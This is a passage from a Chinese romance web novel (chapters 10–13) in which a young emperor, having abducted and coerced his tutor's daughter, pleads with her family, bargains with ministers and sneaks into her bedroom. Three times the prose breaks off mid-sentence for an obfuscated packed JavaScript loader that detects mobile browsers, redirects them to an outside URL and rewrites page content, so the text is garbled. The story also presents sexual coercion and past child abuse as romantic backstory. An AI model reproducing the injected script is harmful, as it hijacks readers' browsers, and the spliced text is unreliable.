皇帝接过小狗,左手撩跑,双膝一弯扑通跪在了苏家门外。 四福被吓一大跳,赶紧伸手扶,“万岁爷,您这是干什么?您是皇帝,哪有跪大臣的道理,快起来。您不为自己想,也该为苏老先生想想,这要叫人看见了还不得大做文章。” “没事,四福你不用管,退到一旁去。” 皇帝拂开四福的手,挺起胸膛,跪的笔直。 苏家大门这时候打开了一条小缝,长伯往门外瞧了瞧,赶紧又跑进花厅里了。 “老爷不好了,皇上他…..他在门外跪下了。太监怎么劝都没用,这怕是不妥。” 文夕拉着苏娘子正是哭的厉害,听见这话狠狠的剜了苏萤臣一眼。老头尴尬的赔笑,摸摸胡子心虚。 “夫人,这….他是皇帝,老夫也没办法呐。” 皇帝十七了,太祖在这个年纪已经开始打天下,孩子都能打酱油了。他是老师,总不能还提溜着棍子去揍人。 “我不管,那小兔崽休想再把念念带走。这次的事我还没完,他是皇帝,我是管不的打不得。可是你呢,苏萤臣!念念被绑架了,你为什么现在才回来?大郎、二郎呢,你是不是拦着他们,不让他们回来了!” 苏萤臣满头大汗,“大郎是川陕总督,无诏不得进京。二郎海上闹匪患,正是领兵剿匪平倭乱。” “那你呢!天下谁人都重要,唯独你的女儿不值钱是不是?” “老夫….老夫河南又发大水,淹了数省十余州,疏洪固堤,赈救灾民我实在是走不开。这步水患刚平息些,老夫就连夜赶进京了。” “我不管,我不想看见那小子,你让他滚!” 苏娘子瞧见父亲吃瘪的模样,忍俊不禁,拍了拍母亲的胳膊,“娘,我没事。您消消气,别气坏身子了,不值当。” “哼,你爹要是敢把那小子放进来,这辈子他就不要再想进房!” 文夕夫人咬牙切齿,凤眼狠狠的剜苏萤臣。抬手打帘,拉着苏娘子头也不回的回房了。 苏萤臣望着珠帘后走远的身影长吁一口气,扯着嗓子喊道: “是夫人,老夫现在就让那小子滚回去!” 苏家门外,果然如皇帝所料。不出半盏茶的功夫,紧闭的大门就打开了。 苏萤臣一袭灰色布袍走出来,负手而立在门下失望的看着他。 “你这些把戏都是跟谁学的?” “师父…..”皇帝跪着往前挪了几步,抬头望着苏萤臣目光悲切,“苏师父,对….对不起。” “你不要叫我师父,老夫没有这样教过你!你起来,老夫只是一介微末小吏当不起你这样的大礼!” 皇帝感到一阵难过,伸手抓住苏萤臣的袖子,悲伤道:“苏师父,您不认朕了?您不要朕了是不是?” “圣上是君,老夫是臣,臣食君禄尽臣事。念念既已回来了,这件事到此为止,圣上回去吧。” 苏萤臣扯回衣袖,绝情转身,斜视着马车上的四福。 “还不扶圣上起来?” 四福背脊一凉,跳下车赶紧上前去扶皇帝,“万….万岁爷,起来吧,地下凉。” 皇帝不起,死死压着膝盖,推开他高声大喊: “苏师父,朕不是来完璧归赵的!朕早就把该做的不该做的事都做绝了,玉已非完璧,朕无法归赵!念念是您的掌上明珠,不嫁朕,您想过世人会如何议论,会有怎样的流言蜚语,她要如何承受夫家的轻视?” “你个混小子,你竟….竟然!” 苏萤臣顿时怒火中烧,回身一脚踹倒皇帝,抖着手指大骂。 “你是皇帝,老夫这些年怎么教你的?圣贤书,帝王鉴,为君道,治国术,你都读到狗肚子里去了是不是?你是皇帝,天下臣民的表率,不是土匪地痞流氓!抢强民女,胁迫臣子,岳凌你好手段啊!” “朕不后悔,师父不答应让念念嫁给朕,朕今夜就在苏家门口跪着!待到明日天亮让百姓都来看看,朕什么都没有,朕不怕丢脸!” 皇帝狼狈的爬起身,重新挺直了背脊跪好。 只是不知为什么眼睛竟有些酸涩了,慢慢的他就看不清苏萤臣失望的脸了。 “朕就是不明白,为什么朕给您什么,您都不接受。不肯入阁辅政,不肯恩荫亲族子弟,不肯把念念嫁给朕,要撇清一切与朕的关系!朕什么都没有,只有师父。朕一直把您当成父亲,可是您却抛弃了朕,把朕一个人丢在诺大的紫禁城里,不闻不问!” 皇帝一口气数完苏萤臣的恶性,湿润的眸子突然掉下了眼泪,又倔强的用手里的小布狗擦去,怨恨的看着他。 苏萤臣脸色动容了,怒气与愧疚缠绕着郁结在胸口里,呼吸有些急促。望着皇帝的时候,竟有些眼花,看见了皇帝小时候的模样。 “老夫非良臣,不过一介草莽贪生怕死之辈,圣上看错人了。” “可朕也不是当皇帝的料,师父忘记了,是您把我送上皇位的,您现在却不管我了。朕不喜欢当皇帝,朕害怕,朕讨厌这个位置。师父,朕到底是不是皇子,朕为什么会变成现在这个样子?” 皇帝哭着想起了六岁那年,年轻的苏萤臣问他,长大了想要做什么? 他说想要做一个烧火的小太监,苏萤臣笑他,说他以后是要做皇帝的人,所以要学识字读书做文章。 后来皇帝病重无嗣,苏萤臣带他去见皇帝。告诉他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562834|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他有一个做皇帝的父亲,奴隶的母亲。 可他的身世连何时生人都查不清楚。养育他的老太监只知道他的母亲,是一个从获罪充入掖庭的奴隶。 死的时候抱着未睁眼的他,还不到十五岁。后来先皇病逝,群臣迎立藩王。苏萤臣带兵闯入大内,用立幼主。 此后很多年,皇帝总是会问他自己到底是不是皇子。因为有很多很多人都在议论这件事,直到这些年他长大了,出落的越来越像先皇,声音才小了些。 可还是有人在说,在偷偷的说,偷偷的议论。 ——— “圣上是皇子,是先帝唯一的血脉。” 每次苏萤臣都会坚定的回答,他闭上眼睛缓了缓神。再睁开眼时候,情绪已经平复了,上前来拉起了皇帝。 “圣上不曾为人父,怎会理解念念对于老夫的意义。臣不求她一生荣华富贵,只愿她平安顺遂无虞以终老。她想嫁可以自己选择如意夫婿,不想嫁老臣会养她一辈子陪着老夫一起变老。这件事,老夫能说的,能做的只有那么多,圣上懂吗?” 皇帝不懂,吸了吸鼻子,“朕是天下之主,可以护她一生周全的,师父可以放心把念念交给朕的。” “圣上,拿什么来护她。您肩负江山社稷,皇家开枝散叶,绵延子嗣,将来坐拥后宫佳丽三千。她说过只嫁喜欢的人,一生一世一双人。圣上与她并不是一路人,她也不是失了贞洁就活不下去的人。” 苏萤臣不复多言,转身进府,长伯紧跟着关上门。皇帝冲上前扒着门缝,着急的喊道: “师父,如果朕可以做到,您可以答应把念念嫁给朕吗?” 苏萤臣听见他的话了但没回头,皇帝喊着喊着就被长伯关在了门外。他还是不甘心,跑到门房外扯着嗓子喊。 “苏师父….苏师父,朕可以做的到!” 门房窗牍砰的关上,有人影躲在窗后。皇帝突然愣住了,抓着窗喊道: “念….念,是你吗?” 人影打翻烛台,室内一片漆黑,皇帝听见了沉重的呼吸。 “念念,你怎么了?你生病了是不是,朕怎么不知道,什么时候的事,为什么不和朕说?” 屋里没有人理会他,他想扒窗爬进去,突然被人拉住了衣角。 “万….万岁爷,苏夫…夫人….” 皇帝回头顺着四福的手,看见文夕夫人拿着戒尺站在门下,目光冷冷的扫着他。 “…..念念,朕走了。你好好照顾自己,朕改日再来看你。” 皇帝一怂把小布狗塞在窗台上往屋里丢,拉着四福爬上车灰溜溜的夹着尾巴跑了。 苏家门下的文夕夫人脸色才缓和,转身回府,“长伯,关门,明早去东市买条狗回来。” 长伯赶紧关门应好,夫人走到门房花廊下,往里面一看就看见苏娘子了。背着手,脸藏在昏暗的夜色里。 “不要相信男人的花言巧语,何况是皇帝的,他为了权势连你父亲都可以利用。更何况,仅凭他的欺负你的那件事,娘这辈子都不会原谅他!念念,真的爱你的人,绝不会让你受一分委屈。现在在他的眼里,权势远远比你重要。” 苏娘子抓紧背后的小狗,低下头,闷闷的看着自己的鞋尖。 “娘,我知道。” 长伯点亮烛台,照亮一室的温暖,文夕踏进屋抱住了苏娘子。 “别怕,阿娘一定会为你挑到一个不会委屈你,像你爹爹那样的,一辈子宠你、爱你、顺你的郎君。” 苏娘子点点头,手指揉着背后小狗的耳朵。想起了皇帝,那个二世祖也是她爹爹教出来。 11. 第 11 章 次日,内阁联名百官上奏请求皇帝下旨选秀,凡良善之家,端庄知礼的适龄女子具可报名参选。 奏疏送进乾清宫,皇帝当作没看见,蹲在地上对着香案上的菩萨嘟嘟的敲木鱼。 内阁的几个老头请求面圣,太监往乾清宫里通报了好几回,里面的木鱼声才停,悠悠的传来皇帝看破红尘的声音。 “传旨让阁老他们进来吧,朕要出家去,国家朝廷的事只能托付给各位阁老了。” 太监应了声是跑去传旨,乾清宫外很快就传来了几位阁老的脚步声。 “皇上,您是天子,在宫里这是在干什么?” 肖阁老的身影率先踏进殿内,面色不悦,但是说话的语气已比前两日缓和了很多。内阁另外几个阁老跟在他身后,看见皇帝敲木鱼哭笑不得。 苏萤臣也在,他非内阁大臣本并不该和几位阁老一道出现。奈何宫里传来消息,皇帝闹着要出家了,肖阁老派人上苏家将他一并请了来。 现下他还是站最后面,不说话默默的隐身,看着皇帝和几个阁老拉扯。 这次不是在早朝上,气氛没有那么沉重肃杀。不仅是皇帝,阁老们也把身份放的很低。看见皇帝就跟哄小孩子一样,好声好气的说话。 次辅高玺先走到皇帝面前,蹲在他身边哄道: “皇上,您怎么了,有什么话咱们好好说,一起解决。听太监说,您怎么突然看破红尘要出家去了呢。” 皇帝端着木鱼,神色悲戚,看了他一眼,又看看肖阁老和隐身的苏萤臣,哀伤道: “这些年有劳各位阁老尽心辅佐,奈何所琢非玉,难成大器。这个位置朕虚占多年,如今朕想通了,自愿退位入空门,以修身养性,安度余生。江山社稷请各位阁老,另择贤良明君入继大统。列祖列宗的江山,朕交给各位了。” 皇帝嘟嘟的又敲起木鱼了,内阁几个大臣跟被架在火上烤,脸色不悦。尤其是首辅肖国兴、次辅高玺、朱秉三个人。 当年就是三人力住迎立藩王,在先帝梓宫前与苏萤臣僵持半日,见京师九门兵备渐失,才转而拥立幼主。随后又以幼主年幼不能理政,由请苏萤臣入阁,统领几位阁臣辅政。 苏萤臣拒绝了,只担起了帝师教育皇帝的责任,政事交由内阁几位大臣共同处理。但那几年他的风头很盛,拥立之功,帝师之尊。一人之下万人之上,连内阁都要看他的脸色。 只是风光没几年,老头突然请辞跑到河南去了,再回京就一改从前的气盛。事事小心谨慎,约束亲族子弟,谨言慎行。即便是抗旨,也一副窝窝囊囊的受气包模样,不再有年轻时谏政,虽千万人,吾往矣的傲气。 现下皇帝突然说要退位了,当真退位天下人又会怎么看。几个阁老面色不改,心下却早已权衡了利弊计较了。 肖阁老咳嗽了一声,伸手扶住皇帝的胳膊,搀着他起身,“皇上就是为了要娶苏娘子,所以闹着要出家,连江山社稷也不要了?” 皇帝撇嘴,手指摩挲着木鱼,点点头,灰心丧气的说: “朕现下觉得当皇帝也没什么意思,连心爱的人都娶不了,做不了自己的主,朕还能做谁的主。没意思头顶了,反正朕也不是当皇帝的料。阁老们也看到了,朕就是牛教三遍都不知道撇绳的。阁老们令请高明吧,钟山王怎么样,朕瞧着他停喜欢当皇帝,那朕让给他好了。” 几个阁老面面相觑,簇拥着皇帝坐回御案。一改往日的强势,次辅高玺和蔼的笑道: “圣上可不能再说这样的胡话了,江山社稷怎能说让就让,又不是过家家。您喜欢苏娘子,可苏娘子她又是什么态度呢?您虽是天子,可也要守规矩的啊。寻常百姓求娶,还要讲究三书六礼,采纳、问名、纳吉….父母之言,媒妁之言,征得女家的同意才能成亲。您这样抢了苏娘子,说娶就要娶她不合规矩。” 皇帝:“那苏师父同意了就是合规矩,你们就让朕娶苏娘子是不是?” 殿里目光齐刷刷的又聚到了苏萤臣身上,他俯首跪下又重复了一遍昨日的话。 皇帝眼巴巴的又问肖阁老,“那是只要苏娘子同意,朕就可以娶她是不是?朕也可以立她为后是不是?” 肖阁老:“圣上遵照祖制来,合情合理合规,臣等又怎么会拦着您?古人道修身治国起家平天下,圣上年纪不小了,也该有一位贤内助帮您打理后宫了。为皇家开枝散叶,绵延子嗣,乃江山社稷之本。圣上可遵照祖制下诏遴选秀女充实后宫,凡良善之家,端庄知礼的适龄女子具可报名参选。” 皇帝眼睛倏的一亮,拉着肖阁老欢喜道:“那苏娘子也可以参加是不是,朕要选她,就是时间太长了。” 肖阁老哼道:“圣上可以选,但咱们是朝廷,不是山寨土匪,要苏家苏苏娘子同意才可以,不若天下人怎么看您。您既然觉得选秀时间太长,那就按照祖制在京畿采选一后九嫔,这样耽误不了什么时间。” “可是…..”皇帝嘟囔道:“朕只想选苏娘子一个人。” 肖阁老挑眉:“圣上,这是祖制。” 次辅高玺赶紧道:“皇上,您要是觉得九嫔多,至少选一后两嫔就可以。” 皇帝不高兴,往背椅后一摊开始摆烂。 “朕不管,朕实话告诉你们。朕不举了,要娶亲立后目前就只能娶一个。你们不信可以去问太医院的李廷致,上次就是他帮朕看的身子。朕听民间说生孩子只有累死的牛,没人犁坏的地。你们一下让朕娶那么多,把朕犁坏了怎么办?” 几个阁老听见这话脸上瞬间就挂不住了,青一阵白一阵,恨不得上手捂住皇帝的破嘴。 可是他怎么就不举了,什么时候的事,怎么一直没听说? 没办法,内阁只好让人去请太医院的李廷致,连着皇帝这几日的起居注也搬了出来。 李太医检查完皇帝的身体,平静的给阁老们回话: “男子生育早至十二岁,晚至二十岁。圣上年纪还小,幼时又亏损了身子发育自然晚于寻常男子,加之前几日挫伤未恢复,近来确有不举之势。不过各位阁老不必过于忧心,仔细调养圣上自可痊愈,繁衍子嗣不成问题。且生育过早,孩子容易先天不足病弱,圣上调理几年晚些生育还真是正当时候。” 阁老们狐疑,觉得这小太医是不是和皇帝串通一起去了。 可是小皇帝当年是被太监藏在冷宫里用羊奶小米粥喂大的,身子确不如正常人,可能真的需要好好调养一番才行。真的犁坏了皇帝,断了皇家血脉朝廷只会更难控制。 “那有劳李太医费心为圣上调理龙体,早日为皇家开枝散叶,绵延子嗣。请皇上保重龙体,一切请以身体为重,切再胡来伤极祖宗江山之根基。” 阁老们拉着一起跪地请安,皇帝自己对此事倒是坦荡,贴心的安慰他们。 “朕知道,那这样朕先娶一个试试,慢慢调理身子,等皇后能孩子了就证明朕身子好了,到时候朕再来充实后宫。” 肖阁老正色,“圣上好好调理身子,做事规矩些,您是皇帝不是土匪流氓。苏家同意了您才能娶苏娘子,否则就只能在京师选一后出来。” 皇帝赶紧陪笑,“朕知道,三书六礼,下旨采纳、问名、纳吉….父母之言,媒妁之言,朕保证规规矩矩的。” 这次皇帝和内阁都让步了。 早朝后,皇帝又钻在恭桶里摸出宫了。六福在午门不远处的拐角等,钻出恭桶皇帝又爬上马车奔着江米巷去。 只是苏家门口拴了狗,马车一出现,半人高的大黑狗蹭的蹿出来险些扑上车。 四福和六福吓的赶紧掉转车头跑,他们把马车撂在桥头大槐树下,悄悄又摸到江家外。这次大门依旧紧闭着,但狗不见了。 “四福,想个办法带朕进苏家去。” “只要没有狗,那还不简单。” 四福领着皇帝绕到后门,花银子买了两身旧衣,大摇大摆的就从后门进到了花园里。遇到当差的丫头,好奇的问他们: “你们是来干什么的?” 四福堆着笑行礼,道:“回姐姐的话,听说苏老先生回来了,我大哥最近身体有点不舒服,怎么看大夫都看不好,特来寻老先生看看。” “那你们去吧,老爷这会儿在书房里看诊,人多要等等。” “哎,姐姐慢走。” 四福拉着皇帝跑,迎面上又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是苏老先生真的很认真的在关三郎禁闭,叫管家把门锁了,一日三餐吩咐送到楼下,阁楼的人用篮子钓着上去。看样子这次不考上举人,誓不罢休了。 “四福,给朕搭个梯子。” 四福蹲下,皇帝踩着他的肩膀扒拉碧纱橱。三郎突然从窗后冒出脑袋,从上往下打量皇帝,嫌弃道: “你小子来干什么,不怕我娘打死你?” 皇帝嘿嘿笑,双手抓着窗栏,有些尴尬。 “朕来是来找三哥做笔买卖的。” “什么买卖?” “三哥想办法让朕去见苏娘子,朕给你指导指导作文章怎么样?三哥考了那么多年一直没高中,难道不觉得有问题吗?朕是天子,科举都是为国家选拔人才的,朕自然知道要的都是什么人。不然凭三哥这闷头苦干,朕瞧你再考三十年也考不上。” “你小子要给我泄题?” 皇帝满脸黑线,“三哥这脑子果然活该考不上举人,朕哪句话说要给你泄题了?” 三郎:“那你什么意思?就凭你十二岁才开蒙识字文盲,也配给我指导文章,我十岁就中秀才了。” 皇帝不屑,“哼,但三哥考了十年都没中举!” “你!”三郎气的脸发绿,恨不得把手边的花瓶砸下去。 下面的四福撑不住皇帝了,把着他的腿艰难抬头,惨兮兮的问道: “二位爷唠完了没,奴婢要站不住了。” 皇帝伸手扒拉窗柩,用力蹬却怎么也蹬不上,只好拍拍四福肩膀道: “算了,好心不识驴肝肺。四福,咱们回去想别的办法。” “哎好,万岁爷。” 四福蹲下地放皇帝下来,主仆两手拉着手离开。三郎隔楼上心里毛毛的,弯腰抓了个地下的纸团砸到皇帝的脑袋上。 “你小子先看看,我……我试试你有没有水平。” 皇帝脸色一喜,捡起地下的纸团扬扬手,“三哥,你就放心做朕的国舅爷,做朕的股肱大臣吧!” 于是两人又折回小院,坐在台阶上凑在一起瞧纸团里的文章。皇帝让三郎丢了只毛笔下来,沾沾舌头写写画画的改起来,然后四福再抛回阁楼上去。 12. 第 12 章 天色渐黑了,下人来到院子里掌灯,皇帝和四福躲了起来。 不一会儿又来了送饭的婢女。三郎从楼上放下绳子,婢女栓好才拉上去。待到院子里的人都走了,三郎探出脑袋来,对着假山喊,“岳凌,没人了,你们可以出来了。” 楼下还是不见人影,三郎等了一会儿估摸着人大概是走了。提着食盒回桌吃饭时,刚才刨了两口从窗户咚的抛进来一只竹筒。 竹筒上拴着长长的线,滚到三郎腿边,捡起来扯了扯,绳一头也用力扯了扯。 他拿着竹筒走到窗边,皇帝和四福又出现了。竹筒另一端拿在他的手里,贴着嘴巴喊话。 “搞什么花样?” 三郎嫌弃的要扔回楼下,四福赶紧示意他用耳朵听,“三爷,您听得到嘛?我家万岁爷有话想问您。” 三郎对着竹筒不耐烦的喊道:“听得到,你们要干什么,别耽误小爷吃饭。” 皇帝抢过四福的竹筒,有些不好意思道: “三哥,朕想问你念念是不是生过什么病。安心姑姑告诉朕,这几天她在宫里睡的不好,也里总是惊醒。她现在怎么样了,回家后有没有好些?” “你小子还敢问,你那天是不是把我妹妹塞进柜子里锁起来了?她最是怕黑暗狭小的柜子,要不然她怎么会犯病?” “……是,对不起三哥,朕不知道她会怕。” 皇帝愧疚的声音沿着棉线传进竹筒里,三郎扯了扯线,皇帝赶紧把竹筒对上耳朵。 “岳凌,你真的对不起我父亲还有我妹妹。你知不知道当年因为拥立里上位,钟山王怀恨在心派人绑走小念,装在一个不足三尺的手捧皮箱里。我父亲调动五城兵马司,追了三天才在通州追上。只差一点点他们就带走我妹妹了,我们找到她的时候,她的手脚都被折断了硬生生的塞在箱子里,小姑娘吓的连哭都不会,连话也不会说了。从那以后她很怕黑色密闭的匣子柜子,治了很久很久她才好起来。可你呢又把她关在箱子,我若不是现在下不了楼,不然定是要下来再揍你一顿!” “对不起,三哥。朕不知道,朕以后不会了。” 皇帝难过的有些哽咽,说完话缓缓凑过耳朵听见三郎失望气愤的声音。 “可是岳凌,你现在却是要把小念关进一个更大的笼子里。” “三哥……” 皇帝抬眼,他知道那里是一个很大很大密不透风的笼子,可是他没有办法了。 “朕想要去看看她,三哥可以帮朕想想办法吗?” “你……我本来不该……”三郎欲言又止,扯了扯竹筒示意皇帝附耳听,“只许看看,她这几天精神不好,歇的早不许打扰她。还有让我娘的人抓到,打死你我可不管。” “嗯,朕知道,三哥放心!” 皇帝激动的险些原地跳起来,捧着竹筒凑上耳朵认真的听。 三郎咳了咳,一本正经道:“往我家书房走,画廊尽头有条排水沟,直通我妹妹的院子。我娘现在派了好几婆子丫头在里面,你能不能进去看你自己的本事。” “多谢三哥,朕知道了,你就等着给朕当国舅吧!” 皇帝扔下竹筒拉着四福就跑了,三郎回屋推开东北角窗,正对着窗的小阁楼也开着窗。他把柜子的琉璃灯翻出来,点亮灯心挂在床边。 苏家排水沟里,皇帝脱下龙袍正往里钻,四福抱着衣服在画廊下放风。等他顶着满身泥爬进青竹院,四福也出现在了院子里蹲在排水沟上等。 皇帝懵了,“四福你……怎么也进来了?” 四福指了指院门,“爷,门开着的。下人们在偏房里吃酒打牌呢,快出来。” “那……门开着你不和朕说,朕岂不是白爬了?” “哪儿能啊,您的真心天地日月可鉴,苏娘子也会看见的。快出来,一会儿被人发现了。” 皇帝无能的怒了一下,听话的爬出排水沟。四福用手绢给皇帝擦干净手,披上龙袍,催促他赶紧爬窗。 皇帝手脚并用翻进苏娘子闺房里,进去前颇为凶狠道:“给朕放好风,不许偷看!” 他有些激动砰的关上窗,弄出了好大动静,吓得四福一激灵。 “爷,您轻点,招来人了怎么办?” 屋子里人影已经走开了,没人理会他,四福搓了搓鼻子蹲在窗下放风。 屋里,皇帝蹑手蹑脚的靠近绣床。苏娘子倚在床头睡着了,身上盖着锦被,一角搭拉在脚踏上。 皇帝的小布狗掉在地下,苏娘子削瘦如竹的手指悬在正上面,缠着松垮垮白色的纱布。 看样子睡前一直在拿着,睡着了没拿住就掉到地下了,纱布也不知道什么时候松了。 皇帝弯腰捡起小狗,捏了捏对着狗傻笑,“谢谢你替朕陪着她。” 他把小狗放在苏娘子的怀里,拉好被子,轻轻的坐到床边捧起她的手。 “为什么不在朕的身边你也会受伤,还疼吗。” 皇帝自言自语的问,像是在问她当初被拐走的痛,也像在问现在的伤。 纱布解开,手指上有一对对称的月牙伤口,有些浮肿。擦了药,散发着淡淡的药香。 皇帝重新绑纱布的时候,苏娘子醒了,缓缓的睁开眼,望着他晃神一言不发。 “……你……你醒了,朕就是担心你,想来看看你。对不起,朕不知道你会害怕,以后再也不会丢下你一个人了,好不好?” 苏娘子动了动眼睛,微微蹙眉,“你……你真的不行了?” 皇帝一愣,有些尴尬,“朕也不知道,李太医说有些挫伤。而且朕……朕肯定还能行的,朕白日对阁老他们说的那些话就是想吓吓他们。不然他们不仅逼着朕立后还选妃,朕说过,念念朕只想娶你,一辈子只有你一个女人。” 皇帝深情的望着苏娘子,脸颊轻蹭着她的手指,话音哽咽。 “念念,朕知道你现在不喜欢朕,讨厌朕,甚至是恨朕。可是以后呢,朕相信你一定会喜欢朕的,就像是小时你开始不也很讨厌朕,讨厌朕来你们家抢你的爹爹娘亲还有哥哥,可是后来你也很喜欢朕是不是。你会叫朕岳凌哥哥,朕发烧的时候你会给朕刮痧,你还会教朕读书写字。是你和朕说,当皇帝不可以是文盲,要努力读书认字。你知不知道,朕写字现在都很像很像你。” 他说的情动,当真跑到书案上拿笔写了一个念字,字迹娟秀端庄,没有一点点男子字迹的浑厚刚劲。 苏娘子看了眼没什么表情,皇帝着急的坐回床边,紧张道: “念念,阁老们马上就要让朕选秀了,朕以身体为由只选一后。朕想选你,你一定要报名参选好不好?朕会派婚使来苏家宣旨,你也一定要接旨好吗?不然他们肯定会逼朕娶别的女人,朕这一辈子只想娶你,给朕一个机会爱你好吗?而且……而且我们已有夫妻之实,除了朕念念你别无选择。” 苏娘子顿时有些不高兴了,撇开皇帝的手,抓起床上的小布狗扔到地下,冷冷的翻过身背对着皇帝。 “你走,我不想看见你!所以岳凌哥哥这就是你们男人绑住一个女人的办法,贞洁,孩子吗?” “不是,念念,朕不是这个意思。朕想要娶你,只是因为朕喜欢你。” 皇帝不知晓那句话触到苏娘子的逆鳞,慌的手足无措,不知那根筋不对劲爬到了床。 苏娘子忙得推他,“你要干什么,出去!你给我出去!不然我叫我娘了!” “别……念念别,你误会朕,朕只是……” 屋子里一下乱起来,屋外也骚动了。偏房里的仆人突然迎出门外,高喊: “夫人、大公子怎么来了,娘子这两日精神不好,早歇下了。奴婢去唤娘子,娘子跟大公子感情最好了,看见大公子回来一定会很高兴的。” 这时四福在墙角,听见院子里的说话声,一下也慌了神,赶紧推开窗望屋里喊:“爷,快点来人了!” 皇帝落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你怎么还和小时候一样皮,进屋让大哥看看。” “那他……他呢?”苏娘子指了指皇帝。 “来人,请皇上出府。吩咐长伯下去,以后一律不准皇上进府来。” 苏明伯和文夕夫人扶着苏娘子进屋,皇帝这夜没挨打,安全出府了。四福看见他被护送出来,立刻驾车迎上来。 “万岁爷您没事吧。” 皇帝不高兴的叉腰,“你怎么丢下朕跑了。” 四福嘿嘿陪笑,哄着皇帝上车,“爷,因为奴婢知道苏家人不敢拿您怎么样。但奴婢贱命一条就不一样了,奴婢的护好小命儿以后才好给您当差是不是。” “这还差不多,以后遇到危险跑远点。” 皇帝很容易的就被哄好了,钻进马车里,幽幽问道: “四福,你说苏娘子会报名参选吗?朕派婚使来苏府宣旨的话,她会接旨吗?” 四福:“爷,奴婢不知道。” 皇帝叹气:“朕也不知道。” 苏府,苏娘子闺阁里。苏娘子被狗咬伤的手指,苏明伯已经帮她重新上药包扎好了,搁下她的手时忽然问道: “小念,你知道当年父亲为什么突然送你回四川吗?” 苏娘子倏的抬头,“因……因为有人要害爹爹,爹爹怕我出事。” 苏明伯:“嗯,其他的敌人父亲都不怕。只有皇帝,父亲很早就发现他在蓄意接近你了。他这个人心思很重,不要被他骗了。” 苏娘子低下头闷闷道:“大哥我知道,我只是觉得大黄可爱,才没忍住去摸它,不小心被它咬了。” 文夕坐一旁,听见这话狠狠的敲了苏娘子一记酸梨,“那狗呢?藏哪去了?” 苏娘子惨兮兮道:“拴在柴房里去了。” 苏明伯,文夕夫人双双叹气。 13. 第 13 章 皇帝还蛮喜欢北京城的夜,街上有各样的商铺子,推车的小贩,夜游的百姓人挤着人。马车走在街道里,搁着窗帘就能听见行人的说话声。 但过了鼓楼大街人烟就稀少了,越是靠近皇城根,巡逻的侍卫就会多起来,半个时辰就能走过三班人马。 四福和皇帝早早的就在鼓楼大街前就把马车撂下了,逮着巡逻的空档,四福先摸到掖门下。轻三下,重三下敲响宫门。 没一会儿里面就探出来一个小侍卫,四福付了银子,门后又出来两个小太监推着木板车,上面载着两个大恭桶。 小太监打开盖子,四福凑上去闻了闻不带一点污秽气味,甚至还有淡淡的艾草香。 “这回弄不错,下次就照着这个标准弄。” 四福颇为满意跑回去接皇帝,皇帝搭着他的手熟练的钻进恭桶里盖好盖子,侍卫打开门,小太监一人一边推着车进宫。 掖门一掩,大红宫墙就彻底隔绝了北京城的烟火。紫禁城很安静,安静的叫人觉得呼吸声都觉得扰人。 皇帝坐在桶里听着车轱辘声,突然顶起桶盖,扒拉着桶沿探出脑袋来。 “四福,咱们怎么每次那么容易就出宫了?那朕的皇宫岂不是也漏成筛子,花点银就能进紫禁城了?” 四福认真想了想,问道:“爷想听真话还是假话?” “当然真话。” “那奴婢说了您不能生气。” 皇帝不耐烦道:“你说就是,怎么那么多废话。” 四福背着手走近板车,低声道: “爷,紫禁城门禁守卫这会儿还算严的了。先帝时,还有百姓捡了禁卫军的牌子进宫来卖烧饼的,奴婢还买过呢,手艺确实是比宫里的厨子好。后来是不时还有百姓跑近宫来溜达,叫禁卫军抓住的。不过这两年这样的事少了,但花点银子出宫还事可以的,就是掖门这帮小子胃口越来越大了,进出一次宫门就得花二两银子,肉疼!” 皇帝:“靠银子买路,这不是玩忽职守吗?禁卫处的统领不管的吗?” 四福:“哪儿有空,上行下效都忙着捞银子。上面卖官鬻爵,底下守卫捞捞油水。再说了禁卫军一个月二两银,上面的关老爷还经常用胡椒折俸,这玩意不能当饭吃啊。一个月就那么三瓜两枣的,拼什么命啊。” 皇帝听得心里拔凉拔凉的,“那四福,你会朕拼命吗。” 四福:“……” 皇帝有些尴尬,钻回桶里,“朕才不用你们为朕拼命呢,你们只要好好的,在朕身边就行了。” 外面没有回话声了,皇帝其实还有些失望。做了那么多荒唐的事,收买人心,强买强卖,其实就是想要找一个为自己拼命的人。 ——— 苏府第,当夜文夕夫人回房就把皇帝半夜钻苏娘子闺房的事告诉了苏老先生。 老先生忧心的一宿没闭眼,躺在床上唉声叹气,扰得文夕夫人在被子里狠狠的踹了他一脚。 “不睡就滚下床去,摊上你那么个父亲可是害惨我母子几个了。当年我就不同意你把那小子带回府来,不然那小子能惦记上念念?” “我的夫人你可轻点,老夫可不比当年了,你这一脚也太狠了。当年你不也挺心疼那小子的。咱家三个孩子有的,你哪样少了那小孩的份。衣服、鞋子、文房、吃食都要多备上一份一模一样的,他也是在你我夫妻膝上长大的孩子。其实就跟亲生的一样,他现在见着大郎他们还一口一个哥哥的叫着。” 苏老先生腰上挨了一脚疼得心颤,赶紧往床外挪挪,枕着胳膊忧心忡忡的望着床缦。文夕夫人撇了他一眼,想起往事神色有些动容。 “其实他不动念念还好,我还愿意再叫他一声季礼。他若只当念念是妹妹该多好,你说他那时候那么小,怎么会生出这样的心思来。我觉得不能再让念念待在京城了,总觉得要出事。” 苏老先生警觉起来,“出什么事?” 